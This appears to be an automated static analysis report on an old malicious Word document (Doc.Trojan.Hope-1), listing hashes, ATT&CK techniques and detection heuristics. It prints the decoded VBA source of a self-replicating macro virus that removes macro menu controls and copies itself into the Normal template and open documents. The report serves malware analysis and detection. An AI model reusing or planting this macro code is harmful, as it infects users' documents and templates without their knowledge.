Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a985587340274ba0…

MALICIOUS

Office (OLE)

35.0 KB Created: 2001-01-02 13:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4db8cc33e0b348c4ae2d48cc8b051db2 SHA-1: 5023cb743d4affb475dbd9fd1759cf1d9dc2ae54 SHA-256: a985587340274ba021a14603903f3b0f9cd60ebed83255939a7bf3f9935e0f70
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro overwrites the current document and the Normal template with its own code, as indicated by the `AddFromString MC` calls and `ActiveDocument.SaveAs` command. This behavior suggests an attempt to establish persistence or propagate the malicious macro. The ClamAV detection of 'Doc.Trojan.Hope-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1670 bytes
SHA-256: ff3b59dd731b5d41596f4fcd99087c66051d2a2fd6001ca88c3051ca880f45c9
Detection
ClamAV: Doc.Trojan.Hope-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

End Sub

    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
Private Sub Document_Close(): On Error Resume Next
'in time cry the hollow words to sing with false disguise smothered
    Set prevDocument = NormalTemplate
    Set nextDocument = newDocument
CommandBars("Tools").Controls("Macro").Delete: CommandBars("Tools").Controls("Options...").Delete
'to know anymore life shifts up and down everybody knows it's wrong
Set CM = MacroContainer.VBProject.VBComponents.Item(1).codemodule
'why don't you care? now do it seem fair? it's not in the rhyme or
Set Ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule
'reason so it goes with every season crawl to top fall through
Set nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule
'bottom first hand love is really rotten slice of life find what's
MC = CM.Lines(1, CM.CountOfLines)
'plenty inch towards a sanctuary light with me inside the womb i
Ad.deletelines 1, Ad.CountOfLines: Ad.AddFromString MC
'know everyone everybody knows it's me it's my voice, my voice
nt.deletelines 1, nt.CountOfLines: nt.AddFromString MC
'cries out obscenity sightless eye regard my past sometimes it
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'should i just don't want to know anymore.
End Sub
'NoHope~By~Lys~KovicK Lyrics From Smothered Hope(Skinny Puppy)